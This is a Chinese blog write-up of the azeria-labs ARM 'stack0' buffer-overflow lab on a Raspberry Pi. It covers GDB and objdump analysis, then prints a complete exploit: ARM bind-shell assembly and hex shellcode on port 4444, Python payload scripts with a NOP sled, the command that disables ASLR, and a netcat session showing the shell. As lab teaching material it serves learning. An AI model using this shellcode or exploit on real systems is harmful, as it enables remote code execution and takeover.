arm linux 堆栈大小,ARM汇编之堆栈溢出实战分析一(GDB)

转自:安全课传送门

引言

经过很长一段时间在azeria-labs进行的ARM基础汇编学习,学到了很多ARM汇编的基础知识、和简单的shellcode的编写,为了验证自己的学习成果,根据该网站提供的实例,做一次比较详细的逆向分析,和shellcode的实现,为自己的ARM入门学习巩固。

实例下载地址:git clone https://github.com/azeria-labs/ARM-challenges.git

调试环境:Linux raspberrypi 4.4.34+ #3 Thu Dec 1 14:44:23 IST 2016 armv6l GNU/Linux+GNU gdb (Raspbian 7.7.1+dfsg-5+rpi1) 7.7.1(这些都是按照网站教程安装的如果自己有ARM架构的操作系统也是可以的)

stack0

第一步,我们先看看文件的信息file stack0,从返回信息可以看出该程序是一个32位可执行程序,从最后的not stripped可以看出这个程序的符号信息,具体有关stripped详细介绍可以百度

stack0: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 2.6.32, BuildID[sha1]=1171fa6db1d5176af44d6d462427f8d244bd82c8, not stripped

下面我们给他执行权限chmod +x stack0,然后执行它,会发现需要你的输入,表明这里使用了gets、scanf之类的输入方法,这些方法存在的地方就有溢出的风险,我们尝试构造一长一短的字符串,来测试一下。

短的字符串输出的让你重试的字样。

长的字符串,明显可以看出我们输入的值更改了变量导致,并且覆盖了返回地址,导致抛出Segmentation fault(访问了不可访问的内存,这个内存要么是不存在的,要么是受系统保护的)异常

68375eff2850

1.png

分析出它存在溢出漏洞,现在我们就需要进入他的内部世界,彻底的洞悉它

首先我们需要找到他的入口函数,因为他没有删除符号数据,我们直接执行nm stack0,可以看到入口点、调用的库函数等信息,很明显入口点应该是main函数,我们来gdb走一波

U abort@@GLIBC_2.4

00020684 B __bss_end__

00020684 B _bss_end__

00020680 B __bss_start

00020680 B __bss_start__

00010360 t call_weak_fn

00020680 b completed.9004

00020678 D __data_start

00020678 W data_start

00010384 t deregister_tm_clones

000103ec t __do_global_dtors_aux

00020564 t __do_global_dtors_aux_fini_array_entry

0002067c D __dso_handle

0002056c d _DYNAMIC

00020680 D _edata

00020684 B _end

00020684 B __end__

00010510 T _fini

00010414 t frame_dummy

00020560 t __frame_dummy_init_array_entry

0001055c r __FRAME_END__

U gets@@GLIBC_2.4

00020654 d _GLOBAL_OFFSET_TABLE_

w __gmon_start__

000102c8 T _init

00020564 t __init_array_end

00020560 t __init_array_start

00010518 R _IO_stdin_used

w _ITM_deregisterTMCloneTable

w _ITM_registerTMCloneTable

00020568 d __JCR_END__

00020568 d __JCR_LIST__

w _Jv_RegisterClasses

0001050c T __libc_csu_fini

000104a8 T __libc_csu_init

U __libc_start_main@@GLIBC_2.4

0001044c T main

U puts@@GLIBC_2.4

000103b4 t register_tm_clones

00010324 T _start

00020680 D __TMC_END__

gdb stack0

gef>disas stack0,我们可以看见得到main函数的反汇编代码,但是有一点不爽的是一些库函数API名称没

有显示出来,这里提供两种解决思路:

升级gdb版本(百度、google找教程,我升级到8.2版本是可以显示的。这里有点奇怪的是,我的版本已经很高了,但是对这个二进制文件还是不能识别库函数并显示并且stripped前后都显示不了,但是对于有些二进制文件它又可以显示,如果有大佬知道,希望在评论里帮助解惑一下,thanks)

objdump 了解一下,这里我主要用的是objdump

Dump of assembler code for function main:

0x0001044c : push {r11, lr}

0x00010450 : add r11, sp, #4

0x00010454 : sub sp, sp, #80 ; 0x50

0x00010458 : str r0, [r11, #-80] ; 0x50

0x0001045c : str r1, [r11, #-84] ; 0x54

0x00010460 : mov r3, #0

0x00010464 : str r3, [r11, #-8]

0x00010468 : sub r3, r11, #72 ; 0x48

0x0001046c : mov r0, r3

0x00010470 : bl 0x102e8

0x00010474 : ldr r3, [r11, #-8]

0x00010478 : cmp r3, #0

0x0001047c : beq 0x1048c

0x00010480 : ldr r0, [pc, #24] ; 0x104a0

0x00010484 : bl 0x102f4

0x00010488 : b 0x10494

0x0001048c : ldr r0, [pc, #16] ; 0x104a4

0x00010490 : bl 0x102f4

0x00010494 : mov r0, r3

0x00010498 : sub sp, r11, #4

0x0001049c : pop {r11, pc}

0x000104a0 : andeq r0, r1, r12, lsl r5

0x000104a4 : andeq r0, r1, r8, asr #10

End of assembler dump.

objdump打印的结果,下面省略了一些显示,把主要分析的部分放出来,并且可以看到所有区段的反汇编代码和地址,这样我们对照着这个输出信息,即可

stack0: file format elf32-littlearm

Disassembly of section .init:

000102c8 <_init>:

102c8: e92d4008 push {r3, lr}

102cc: eb000023 bl 10360

102d0: e8bd8008 pop {r3, pc}

Disassembly of section .plt:

000102d4 :

102d4: e52de004 push {lr} ; (str lr, [sp, #-4]!)

102d8: e59fe004 ldr lr, [pc, #4] ; 102e4 <_init>

102dc: e08fe00e add lr, pc, lr

102e0: e5bef008 ldr pc, [lr, #8]!

102e4: 00010370 .word 0x00010370

000102e8 :

102e8: e28fc600 add ip, pc, #0, 12

102ec: e28cca10 add ip, ip, #16, 20 ; 0x10000

102f0: e5bcf370 ldr pc, [ip, #880]! ; 0x370

000102f4 :

102f4: e28fc600 add ip, pc, #0, 12

102f8: e28cca10 add ip, ip, #16, 20 ; 0x10000

102fc: e5bcf368 ldr pc, [ip, #872]! ; 0x368

00010300 <__libc_start_main>:

10300: e28fc600 add ip, pc, #0, 12

10304: e28cca10 add ip, ip, #16, 20 ; 0x10000

10308: e5bcf360 ldr pc, [ip, #864]! ; 0x360

0001030c <__gmon_start__>:

1030c: e28fc600 add ip, pc, #0, 12

10310: e28cca10 add ip, ip, #16, 20 ; 0x10000

10314: e5bcf358 ldr pc, [ip, #856]! ; 0x358

00010318 :

10318: e28fc600 add ip, pc, #0, 12

1031c: e28cca10 add ip, ip, #16, 20 ; 0x10000

10320: e5bcf350 ldr pc, [ip, #848]! ; 0x350

Disassembly of section .text:

00010324 <_start>:

10324: e3a0b000 mov fp, #0

10328: e3a0e000 mov lr, #0

1032c: e49d1004 pop {r1} ; (ldr r1, [sp], #4)

10330: e1a0200d mov r2, sp

10334: e52d2004 push {r2} ; (str r2, [sp, #-4]!)

10338: e52d0004 push {r0} ; (str r0, [sp, #-4]!)

1033c: e59fc010 ldr ip, [pc, #16] ; 10354 <_start>

10340: e52dc004 push {ip} ; (str ip, [sp, #-4]!)

10344: e59f000c ldr r0, [pc, #12] ; 10358 <_start>

10348: e59f300c ldr r3, [pc, #12] ; 1035c <_start>

1034c: ebffffeb bl 10300 <__libc_start_main> ;这个库函数获取了main函数的地址,开启了main函数的执行流程

10350: ebfffff0 bl 10318

10354: 0001050c .word 0x0001050c

10358: 0001044c .word 0x0001044c ;很明显这是main函数的地址

1035c: 000104a8 .word 0x000104a8

...............

0001044c :

1044c: e92d4800 push {fp, lr}

10450: e28db004 add fp, sp, #4

10454: e24dd050 sub sp, sp, #80 ; 0x50

10458: e50b0050 str r0, [fp, #-80] ; 0xffffffb0

1045c: e50b1054 str r1, [fp, #-84] ; 0xffffffac

10460: e3a03000 mov r3, #0

10464: e50b3008 str r3, [fp, #-8]

10468: e24b3048 sub r3, fp, #72 ; 0x48

1046c: e1a00003 mov r0, r3

10470: ebffff9c bl 102e8

10474: e51b3008 ldr r3, [fp, #-8]

10478: e3530000 cmp r3, #0

1047c: 0a000002 beq 1048c

10480: e59f0018 ldr r0, [pc, #24] ; 104a0

10484: ebffff9a bl 102f4

10488: ea000001 b 10494

1048c: e59f0010 ldr r0, [pc, #16] ; 104a4

10490: ebffff97 bl 102f4

10494: e1a00003 mov r0, r3

10498: e24bd004 sub sp, fp, #4

1049c: e8bd8800 pop {fp, pc}

104a0: 0001051c .word 0x0001051c

104a4: 00010548 .word 0x00010548

..............

下面进行逐步分析:

保存了当前栈帧的返回地址和上一个栈帧的帧地址。

将帧指针r11指向当前栈帧顶部的返回地址

压栈操作,压入大小为80字节的空间,为变量、参数准备的临时存放空间。

将r0, r1进行入栈操作,并且放在栈顶的位置,这是上一个栈帧的变量,我们需要保护起来。

0x0001044c : push {r11, lr}

0x00010450 : add r11, sp, #4

0x00010454 : sub sp, sp, #80 ; 0x50

0x10458 str r0, [r11, #-80] ; 0x50

给r3寄存器赋0值,然后将r3内的0存放到r11-8内存地址指向的空间,这个地址是临着上一个栈帧的帧指针r11-4(r11是当前栈帧的帧指针,指向当前栈帧顶部,顶部存放着返回地址)

0x1045c str r1, [r11, #-84] ; 0x54

0x10460 mov r3, #0

0x10464 str r3, [r11, #-8]

将r11-0x48(0xbefff0e4)的地址通过r3赋值给r0,然后作为参数传进gets函数中执行,这个函数会将用户输入的内容,存放到0xbefff0e4这个地址空间中

-> 0x10468 sub r3, r11, #72 ; 0x48,上一个指针的两个变量存储用了8字节空间,刚好从r11-72的地址开始给当前栈帧的

;参数使用

0x1046c mov r0, r3

0x10470 bl 0x102e8

开始输入字符串,测试溢出

下面显示地址空间存储的值,0xbefff0e4地址是存放用户输入字符串开始的位置,下面我们尝试输入不同的字符来看下面这些地址存放的值的变化

gef> x/19x 0xbefff0e4

0xbefff0e4: 0xb6ffbfc4 0x00000003 0xb6e77be8 0x00000000

0xbefff0f4: 0xb6e779f8 0xbefff130 0xb6fd618c 0x00000000

0xbefff104: 0x00000000 0x00010414 0x000104f8 0xb6fb2ba0

0xbefff114: 0x000104a8 0x00000000 0x00010324 0x00000000

0xbefff124: 0x00000000 0x00000000 0xb6e8c294

尝试输入4个1后的结果输出,很明显0xb6ffbfc4 0x00000003中前四个字节被0x31313131(1的16进制)覆盖了,0x00000003这个值内的03被gets函数默认用0x00覆盖用来标志字符串的结尾

gef> x/19x 0xbefff0e4

0xbefff0e4: 0x31313131 0x00000000 0xb6e77be8 0x00000000

0xbefff0f4: 0xb6e779f8 0xbefff130 0xb6fd618c 0x00000000

0xbefff104: 0x00000000 0x00010414 0x000104f8 0xb6fb2ba0

0xbefff114: 0x000104a8 0x00000000 0x00010324 0x00000000

0xbefff124: 0x00000000 0x00000000 0xb6e8c294

下面我们直接输入足够的长度,一直到返回地址处,根据上面的sub r3, r11, #72语句,将r11-72出作为存放用户输入的初始地址,可以知道,输入的长度至少72,这样0xb6e8c294最低位94会被00覆盖,下面我们进行输入72个1的覆盖,很明显我们如我们所料。(可以多输入几个字符完全覆盖,因为只覆盖最低位两个字符,可能依然会存在该地址,而导致不能实现程序的崩溃)

0xbefff0e4: 0x31313131 0x31313131 0x31313131 0x31313131

0xbefff0f4: 0x31313131 0x31313131 0x31313131 0x31313131

0xbefff104: 0x31313131 0x31313131 0x31313131 0x31313131

0xbefff114: 0x31313131 0x31313131 0x31313131 0x31313131

0xbefff124: 0x31313131 0x31313131 0xb6e8c200

最后一步---shellcode。构造一个shellcode来利用这个溢出漏洞,最一个完美的结尾。具体shellcode编写可以参考我的另一篇文章:https://www.jianshu.com/p/16f1c9fe8541

shellcode代码---BindShell

.section .text

.global _start

_start:

.code 32

//arm set switch thumb set

add r3, pc, #1

bx r3

.code 16

//create a socket

mov r0, #2

mov r1, #1

sub r2, r2, r2

mov r7, #200

add r7, #81

svc #1

//bind local address

mov r4, r0

adr r1, local_addr

strb r2, [r1, #1]

strh r2, [r1, #4]

nop

strb r2, [r1, #6]

strb r2, [r1, #7]

mov r2, #16

add r7, #1

svc #1

//start listen,wait for connection

mov r0, r4

mov r1, #2

add r7, #2

svc #1

//accept first connection

mov r0, r4

eor r1, r1, r1

eor r2, r2, r2

add r7, #1

svc #1

mov r4, r0

//change stdin/stdout/stderr to /bin/sh

mov r0, r4

sub r1, r1, r1

mov r7, #63

svc #1

mov r0, r4

mov r1, #1

svc #1

mov r0, r4

mov r1, #2

svc #1

//execve("/bin/sh")

adr r0, bin_sh

eor r1, r1, r1

eor r2, r2, r2

strb r2, [r0, #7]

mov r7, #11

svc #1

local_addr:

.ascii "\x02\xff"

.ascii "\x11\x5c"

.byte 1,1,1,1

bin_sh:

.ascii "/bin/shX"

hexdump -v -e '"\\""x" /1 "%02x" ""' bindshell.bin生成十六进制的shellcode

\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x11\xa1\x4a\x70\x8a\x80\xc0\x46\x8a\x71\xca\x71\x10\x22\x01\x37\x01\xdf\x20\x1c\x02\x21\x02\x37\x01\xdf\x20\x1c\x49\x40\x52\x40\x01\x37\x01\xdf\x04\x1c\x20\x1c\x49\x1a\x3f\x27\x01\xdf\x20\x1c\x01\x21\x01\xdf\x20\x1c\x02\x21\x01\xdf\x04\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x02\xff\x11\x5c\x01\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68\x58

写好shellcode之后,我们需要找到合适的位置,存放好shellcode保证程序可以正常执行shellcode,根据上面的分析,可以得到返回地址0xb6e8c294存放的内存地址是0xbefff124+8=0xbefff12c,而我们溢出的数据会一直向栈空间下面延伸,所以我们可以将返回地址改成0xbefff12c+4的位置,这样就会执行到后面的shellcode代码

0xbefff124: 0x00000000 0x00000000 0xb6e8c294

第一步:现将返回地址覆盖为0xbefff130,这里我使用python脚本来实现填充字符、和返回地址的覆盖。然后python poc.py >exp,把shellcode写入exp文件,在gdb里使用r < exp命令,把exp文件作为输入,来执行stack0文件。可以看到r11指向的返回地址,存储的值刚好是下一个栈地址

poc.py

port struct

padding = "111111111111111111111111111111111111111111111111111111111111111111111111"

//把0xbefff130转成字符串,格式为`I`unsigned int(四字节长度刚好)

return_addr = struct.pack("I", 0xbefff130)

print padding + return_addr

结果:

0xbefff128|+0x0000: 0x31313131

0xbefff12c|+0x0004: 0xbefff130 -> 0xb6fb1000 -> 0x0013cf20

0xbefff130|+0x0008: 0xb6fb1000 -> 0x0013cf20

然后在python脚本内再添加shellcode后,完整的脚本如下:

import struct

padding = "111111111111111111111111111111111111111111111111111111111111111111111111"

return_addr = struct.pack("I", 0xbefff130)

payload = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x11\xa1\x4a\x70\x8a\x80\xc0\x46\x8a\x71\xca\x71\x10\x22\x01\x37\x01\xdf\x20\x1c\x02\x21\x02\x37\x01\xdf\x20\x1c\x49\x40\x52\x40\x01\x37\x01\xdf\x04\x1c\x20\x1c\x49\x1a\x3f\x27\x01\xdf\x20\x1c\x01\x21\x01\xdf\x20\x1c\x02\x21\x01\xdf\x04\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x02\xff\x11\x5c\x01\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68\x58"

print padding + return_addr + payload

当我们使用gdb运行r < exp调试的时候,查询端口可以看见,4444端口已经开始侦听,exp成功执行

tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN

这个时候我们使用nc -vv 127.0.0.1 4444,远程连接,客户端和服务端成功连接上,执行命令也成功返回

客户端返回:

pi@raspberrypi:~/Desktop $ nc -vv 127.0.0.1 4444

Connection to 127.0.0.1 4444 port [tcp/*] succeeded!

whoami

pi

ps

PID TTY TIME CMD

572 pts/0 00:00:33 bash

6522 pts/0 00:00:06 gdb

6526 pts/0 00:00:00 sh

6534 pts/0 00:00:00 ps

服务端返回结果,显示开启了一个新的进程来运行/bin/sh

gef> r < exp

Starting program: /home/pi/Desktop/ARM-challenges/stack0 < exp

you have changed the 'modified' variable

process 6526 is executing new program: /bin/dash

环境变量的影响---NOP技术,生成新进程的问题

针对第6步的调试成功之后,当我们直接运行./stack0

you have changed the 'modified' variable

Segmentation fault

我们使用gdb /home/pi/Desktop/ARM-challenges/stack0和gdb ./stack0来调试完整路径下的程序,并且在执行shellcode前设置断点,并且定义hook-stop来在执行断点前打印栈数据,运行r

gef> define hook-stop

Type commands for definition of "hook-stop".

End with a line saying just "end".

>x/8wx $sp

>end

返回栈数据结果

gdb ./stack0

0xbefff128: 0x31313131 0xbefff130 0xe28f3001 0xe12fff13

0xbefff138: 0x21012002 0x27c81a92 0xdf013751 0xa1111c04

gdb /home/pi/Desktop/ARM-challenges/stack0

0xbefff138: 0x00000000 0xb6e8c294 0xb6fb1000 0xbefff294

0xbefff148: 0x00000001 0x0001044c 0xb6ffe0b8 0xb6ffddc0

下面尝试打印1000行栈数据x/1000s $sp,观察不同,具体不同的地方就是存放环境变量的地方,如下所示,地址0xbefffcdd的数据还是相同的,但是因为pwd变量的长度不一致,导致了需用用更多的栈空间存储多余的数据,所以从这往后,栈内数据发生了变化

gdb ./stack0的输出

0xbefffc8c: "_=/usr/bin/gdb"

0xbefffc9b: "LC_IDENTIFICATION=zh_CN.UTF-8"

0xbefffcb9: "PWD=/home/pi/Desktop/ARM-challenges"

0xbefffcdd: "LANG=en_GB.UTF-8"

gdb /home/pi/Desktop/ARM-challenges/stack0的输出

0xbefffc9b: "_=/usr/bin/gdb"

0xbefffcaa: "LC_IDENTIFICATION=zh_CN.UTF-8"

0xbefffcc8: "PWD=/home/pi/Desktop"

0xbefffcdd: "LANG=en_GB.UTF-8"

具体解决方案:

执行前删除环境变量

shell$ env -i ./stack0

(gdb) unset env

NOP:使用NOP滑到我们的shellcode处,然后我们将加入100个NOP到shellcode中,下面这个python脚本才是最终的脚本!

import struct

padding = "111111111111111111111111111111111111111111111111111111111111111111111111"

return_addr = struct.pack("I", 0xbefff130)

payload = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x11\xa1\x4a\x70\x8a\x80\xc0\x46\x8a\x71\xca\x71\x10\x22\x01\x37\x01\xdf\x20\x1c\x02\x21\x02\x37\x01\xdf\x20\x1c\x49\x40\x52\x40\x01\x37\x01\xdf\x04\x1c\x20\x1c\x49\x1a\x3f\x27\x01\xdf\x20\x1c\x01\x21\x01\xdf\x20\x1c\x02\x21\x01\xdf\x04\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x02\xff\x11\x5c\x01\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68\x58"

print padding + return_addr + "\x90"*100 + payload

至此我们解决了环境变量引起的栈数据移动问题,当我们在次执行./stack0 < exp

you have changed the 'modified' variable

Segmentation fault

由这个问题引入一个概念ASLRAddress Space Layout Randomization,地址空间布局随机化

Linux 平台上 ASLR 分为 0,1,2 三级,用户可以通过一个内核参数 randomize_va_space 进行等级控制。它们对应的效果如下。更详细的介绍大家百度

0:没有随机化。即关闭 ASLR。

1:保留的随机化。共享库、栈、mmap() 以及 VDSO 将被随机化。

2:完全的随机化。在 1 的基础上,通过 brk() 分配的内存空间也将被随机化

这里我们使用命令来改变这个值:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

下面就是见证奇迹的时候了:

68375eff2850

shellcode执行成功

小结

至此本篇paper基本完成,这个实例其实是很入门的东西,但是整套流程坐下来,却很有意义,希望给大家一些帮助。当然,过程中遇见了很多的问题,学习的路上很枯燥,我们需要耐着性子稳步前行,做完这个例子我收获了很多,感谢自己、也感谢帮我的优秀老铁:大毛腿

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值